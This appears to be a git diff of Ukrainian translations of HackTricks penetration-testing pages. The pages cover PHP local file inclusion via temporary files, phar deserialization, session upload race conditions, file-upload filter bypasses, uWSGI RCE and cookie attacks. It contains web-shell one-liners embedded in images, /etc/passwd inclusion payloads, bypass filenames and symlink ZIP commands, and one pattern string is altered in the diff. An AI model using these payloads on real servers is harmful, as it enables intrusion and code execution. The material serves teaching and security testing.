У **linux** ім'я файлу зазвичай є **випадковим** і розташоване в **/tmp**. Оскільки ім'я випадкове, потрібно **витягти з чогось ім'я тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**". У **linux** назва файлу зазвичай є **випадковою** і розташована в **/tmp**. Оскільки назва випадкова, потрібно **витягти звідкись назву тимчасового файлу** і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення **змінної $\_FILES** всередині вмісту функції "**phpconfig()**".
**phpinfo()** **phpinfo()**
**PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Тоді клієнт може **надсилати** **багато великих запитів** (використовуючи великі заголовки), **завантажуючи php** зворотний **shell**, чекати на **першу частину phpinfo()**, що повертається (де вказується ім'я тимчасового файлу) і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI. **PHP** використовує буфер **4096B**, і коли він **повний**, він **надсилається клієнту**. Потім клієнт може **надіслати** **багато великих запитів** (використовуючи великі заголовки), **завантажуючи php** зворотний **shell**, чекати на **першу частину phpinfo()**, що повертається (де вказується назва тимчасового файлу), і намагатися **отримати доступ до тимчасового файлу** до того, як php сервер видалить файл, експлуатуючи вразливість LFI.
**Скрипт Python для спроби брутфорсити ім'я (якщо довжина = 6)** **Скрипт Python для спроби брутфорсити назву (якщо довжина = 6)**
```python ```python
import itertools import itertools
import requests import requests

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Згідно з описами [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (друга частина) та [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), наступні payloads викликали сегментаційну помилку в PHP: Згідно з описами [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (друга частина) та [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), наступні payloads спричинили сегментаційну помилку в PHP:
```php ```php
// PHP 7.0 // PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd"); include("php://filter/string.strip_tags/resource=/etc/passwd");
@ -10,9 +10,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2 // PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"); include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
``` ```
Вам слід знати, що якщо ви **надсилаєте** **POST** запит **з файлом**, PHP створить **тимчасовий файл у `/tmp/php<щось>`** з вмістом цього файлу. Цей файл буде **автоматично видалений** після обробки запиту. Ви повинні знати, що якщо ви **надсилаєте** **POST** запит **з файлом**, PHP створить **тимчасовий файл у `/tmp/php<щось>`** з вмістом цього файлу. Цей файл буде **автоматично видалений** після обробки запиту.
Якщо ви знайдете **LFI** і зможете **викликати** сегментаційну помилку в PHP, **тимчасовий файл ніколи не буде видалений**. Тому ви можете **шукати** його за допомогою вразливості **LFI**, поки не знайдете його і не виконаєте довільний код. Якщо ви знайдете **LFI** і зможете **викликати** сегментаційну помилку в PHP, **тимчасовий файл ніколи не буде видалений**. Тому ви можете **шукати** його за вразливістю **LFI**, поки не знайдете його і не виконаєте довільний код.
Ви можете використовувати образ docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) для тестування. Ви можете використовувати образ docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) для тестування.
```python ```python

View File

@ -1,13 +1,13 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
**Перегляньте повні деталі цієї техніки за посиланням [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)** **Перегляньте повні деталі цієї техніки в [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**
## **PHP Завантаження файлів** ## **PHP Завантаження файлів**
Коли **PHP** движок отримує **POST запит**, що містить файли, відформатовані відповідно до RFC 1867, він генерує тимчасові файли для зберігання завантажених даних. Ці файли є критично важливими для обробки завантаження файлів у PHP скриптах. Функцію `move_uploaded_file` потрібно використовувати для переміщення цих тимчасових файлів до бажаного місця, якщо потрібно постійне зберігання після виконання скрипта. Після виконання PHP автоматично видаляє будь-які залишкові тимчасові файли. Коли **PHP** движок отримує **POST запит**, що містить файли, відформатовані відповідно до RFC 1867, він генерує тимчасові файли для зберігання завантажених даних. Ці файли є критично важливими для обробки завантаження файлів у PHP скриптах. Функцію `move_uploaded_file` потрібно використовувати для переміщення цих тимчасових файлів до бажаного місця, якщо потрібно постійне зберігання за межами виконання скрипта. Після виконання PHP автоматично видаляє будь-які залишкові тимчасові файли.
> [!NOTE] > [!NOTE]
> **Сигналізація безпеки: Зловмисники, обізнані про місцезнаходження тимчасових файлів, можуть експлуатувати вразливість Local File Inclusion для виконання коду, отримуючи доступ до файлу під час завантаження.** > **Сигнал безпеки: Зловмисники, обізнані про місцезнаходження тимчасових файлів, можуть експлуатувати вразливість Local File Inclusion для виконання коду, отримуючи доступ до файлу під час завантаження.**
Виклик для несанкціонованого доступу полягає в прогнозуванні імені тимчасового файлу, яке навмисно рандомізоване. Виклик для несанкціонованого доступу полягає в прогнозуванні імені тимчасового файлу, яке навмисно рандомізоване.
@ -23,7 +23,7 @@
``` ```
http://site/vuln.php?inc=c:\windows\temp\php<< http://site/vuln.php?inc=c:\windows\temp\php<<
``` ```
В певних ситуаціях може знадобитися більш специфічна маска (наприклад, `php1<<` або `phpA<<`). Можна систематично спробувати ці маски, щоб виявити завантажений тимчасовий файл. В деяких ситуаціях може знадобитися більш специфічна маска (наприклад, `php1<<` або `phpA<<`). Можна систематично спробувати ці маски, щоб виявити завантажений тимчасовий файл.
#### Експлуатація на системах GNU/Linux #### Експлуатація на системах GNU/Linux

View File

@ -4,11 +4,11 @@
**Phar** файли (PHP Archive) містять **метадані в серіалізованому форматі**, тому, коли їх розбирають, ці **метадані** **десеріалізуються**, і ви можете спробувати зловживати вразливістю **десеріалізації** всередині **PHP** коду. **Phar** файли (PHP Archive) містять **метадані в серіалізованому форматі**, тому, коли їх розбирають, ці **метадані** **десеріалізуються**, і ви можете спробувати зловживати вразливістю **десеріалізації** в коді **PHP**.
Найкраще в цій характеристиці те, що ця десеріалізація відбудеться навіть при використанні PHP функцій, які не виконують PHP код, таких як **file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize()**. Найкраще в цій характеристиці те, що ця десеріалізація відбудеться навіть при використанні PHP функцій, які не виконують PHP код, таких як **file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize()**.
Отже, уявіть ситуацію, коли ви можете змусити PHP веб-сайт отримати розмір довільного файлу, використовуючи протокол **`phar://`**, і всередині коду ви знаходите **клас**, подібний до наступного: Отже, уявіть ситуацію, коли ви можете змусити PHP веб-сайт отримати розмір довільного файлу за допомогою протоколу **`phar://`**, і в коді ви знайдете **клас**, подібний до наступного:
```php:vunl.php ```php:vunl.php
<?php <?php
class AnyClass { class AnyClass {
@ -24,7 +24,7 @@ system($this->data);
filesize("phar://test.phar"); #The attacker can control this path filesize("phar://test.phar"); #The attacker can control this path
``` ```
Ви можете створити файл **phar**, який при завантаженні **зловживає цим класом для виконання довільних команд** з чимось на зразок: Ви можете створити файл **phar**, який при завантаженні **зловживає цим класом для виконання довільних команд** з чимось на кшталт:
```php:create_phar.php ```php:create_phar.php
<?php <?php

View File

@ -21,15 +21,15 @@ In the last example the session will contain the string blahblahblah
Зверніть увагу, що з **`PHP_SESSION_UPLOAD_PROGRESS`** ви можете **контролювати дані всередині сесії**, тому якщо ви включите свій файл сесії, ви можете включити частину, яку контролюєте (наприклад, php shellcode). Зверніть увагу, що з **`PHP_SESSION_UPLOAD_PROGRESS`** ви можете **контролювати дані всередині сесії**, тому якщо ви включите свій файл сесії, ви можете включити частину, яку контролюєте (наприклад, php shellcode).
> [!NOTE] > [!NOTE]
> Хоча більшість навчальних посібників в Інтернеті рекомендують встановити `session.upload_progress.cleanup` на `Off` для налагодження. За замовчуванням `session.upload_progress.cleanup` у PHP все ще встановлено на `On`. Це означає, що ваш прогрес завантаження в сесії буде очищено якомога швидше. Отже, це буде **Race Condition**. > Хоча більшість навчальних посібників в Інтернеті рекомендують встановити `session.upload_progress.cleanup` на `Off` для налагодження. За замовчуванням `session.upload_progress.cleanup` в PHP все ще встановлено на `On`. Це означає, що ваш прогрес завантаження в сесії буде очищено якомога швидше. Отже, це буде **Race Condition**.
### CTF ### CTF
У [**оригінальному CTF**](https://blog.orange.tw/2018/10/), де коментується ця техніка, було недостатньо експлуатувати Race Condition, але вміст, що завантажується, також повинен починатися з рядка `@<?php`. У [**оригінальному CTF**](https://blog.orange.tw/2018/10/), де коментується ця техніка, було недостатньо експлуатувати Race Condition, але вміст, що завантажується, також повинен починатися з рядка `@<?php`.
Через налаштування за замовчуванням `session.upload_progress.prefix`, наш **файл SESSION почне з набридливого префікса** `upload_progress_`, такого як: `upload_progress_controlledcontentbyattacker` Через налаштування за замовчуванням `session.upload_progress.prefix`, наш **файл SESSION почне з набридливого префікса** `upload_progress_`, такого як: `upload_progress_controlledcontentbyattacker`.
Трюк, щоб **видалити початковий префікс**, полягав у тому, щоб **base64encode** корисне навантаження 3 рази, а потім декодувати його за допомогою фільтрів `convert.base64-decode`, це пов'язано з тим, що при **base64 декодуванні PHP видалить дивні символи**, тому після 3 разів **залишиться тільки** **корисне навантаження**, **надіслане** атакуючим (а потім атакуючий може контролювати початкову частину). Трюк, щоб **видалити початковий префікс**, полягав у тому, щоб **кодувати payload 3 рази в base64** і потім декодувати його за допомогою фільтрів `convert.base64-decode`, це пов'язано з тим, що при **декодуванні base64 PHP видалить дивні символи**, тому після 3 разів **залишиться тільки** **payload**, **надісланий** атакуючим (а потім атакуючий може контролювати початкову частину).
Більше інформації в оригінальному описі [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) та фінальному експлойті [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\ Більше інформації в оригінальному описі [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) та фінальному експлойті [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Ще один опис у [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) Ще один опис у [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)

View File

@ -41,7 +41,7 @@
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. Додайте **ще один шар розширень** до попередньої перевірки: 5. Додайте **ще один рівень розширень** до попередньої перевірки:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **_**.php**_**, але** не обов'язково закінчується на .php** виконає код): 6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **_**.php**_**, але** не обов'язково закінчується на .php** виконає код):
@ -52,7 +52,7 @@
``` ```
# Linux maximum 255 bytes # Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236 # Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -68,7 +68,7 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\ `\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **PLTE chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**. - Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних бібліотек PHP, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **PLTE chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **IDAT chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**. - Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **IDAT chunk** [**техніка, визначена тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
- [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
@ -105,7 +105,7 @@ AAA<--SNIP 232 A-->AAA.php.png
## **uWSGI RCE** ## **uWSGI RCE**
Для детального вивчення цієї вразливості ознайомтеся з оригінальним дослідженням: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`. Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
@ -133,7 +133,7 @@ characters = @(call://uwsgi_func)
## **wget File Upload/SSRF Trick** ## **wget File Upload/SSRF Trick**
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\ В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, чи знаходиться розширення завантажених файлів у білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**. **Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
@ -209,7 +209,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі: Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
#### Символьне посилання #### Символічне посилання
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів: Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
``` ```
@ -217,9 +217,9 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt tar -cvf test.tar symindex.txt
``` ```
### Розпакування в різних папках ### Розпакування в різні папки
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку. Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано: Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
```python ```python
@ -290,19 +290,19 @@ pop graphic-context
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання. Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надається в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків. Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Більше інформації в: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) Більше інформації за адресою: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Поліглотні файли ## Поліглотні файли
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF та RAR архів. Такі файли не обмежуються лише цією парою; комбінації, такі як GIF і JS або PPT і JS, також можливі. Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цією парою; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження. Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) та JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження. Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації в: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) Більше інформації за адресою: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
## Посилання ## Посилання

View File

@ -16,7 +16,7 @@ Cookies мають кілька атрибутів, які контролюют
### Path ### Path
Конкретний URL шлях, який повинен бути присутнім у запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідності в підкаталогах. Конкретний URL шлях, який повинен бути присутнім у запитуваному URL, щоб заголовок `Cookie` був надісланий, вказується атрибутом `Path`. Цей атрибут розглядає символ `/` як роздільник директорій, що дозволяє відповідати також у підкаталогах.
### Ordering Rules ### Ordering Rules
@ -28,7 +28,7 @@ Cookies мають кілька атрибутів, які контролюют
### SameSite ### SameSite
- Атрибут `SameSite` визначає, чи надсилаються cookie на запити, що походять з доменів третіх сторін. Він пропонує три налаштування: - Атрибут `SameSite` визначає, чи надсилаються cookie на запити, що походять з доменів третіх сторін. Він пропонує три налаштування:
- **Strict**: Обмежує надсилання cookie на запитах з третіх сторін. - **Strict**: Обмежує надсилання cookie на запити з третіх сторін.
- **Lax**: Дозволяє надсилати cookie з GET запитами, ініційованими веб-сайтами третіх сторін. - **Lax**: Дозволяє надсилати cookie з GET запитами, ініційованими веб-сайтами третіх сторін.
- **None**: Дозволяє надсилати cookie з будь-якого домену третьої сторони. - **None**: Дозволяє надсилати cookie з будь-якого домену третьої сторони.
@ -93,7 +93,7 @@ Cookie, що починаються з `__Secure-`, повинні бути вс
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie `__HOST-`: Або в PHP було можливо додати **інші символи на початку** назви cookie, які будуть **замінені на символи підкреслення**, що дозволяє перезаписати cookie з префіксом `__HOST-`:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure> <figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
@ -113,7 +113,7 @@ Cookie, що починаються з `__Secure-`, повинні бути вс
У цьому сценарії зловмисник обманює жертву, щоб вона використовувала конкретний cookie для входу. Якщо додаток не призначає новий cookie під час входу, зловмисник, маючи оригінальний cookie, може видавати себе за жертву. Ця техніка залежить від того, що жертва входить з cookie, наданим зловмисником. У цьому сценарії зловмисник обманює жертву, щоб вона використовувала конкретний cookie для входу. Якщо додаток не призначає новий cookie під час входу, зловмисник, маючи оригінальний cookie, може видавати себе за жертву. Ця техніка залежить від того, що жертва входить з cookie, наданим зловмисником.
Якщо ви знайшли **XSS у піддомені** або ви **контролюєте піддомен**, прочитайте: Якщо ви знайшли **XSS у піддомені** або **контролюєте піддомен**, прочитайте:
{{#ref}} {{#ref}}
cookie-tossing.md cookie-tossing.md
@ -123,7 +123,7 @@ cookie-tossing.md
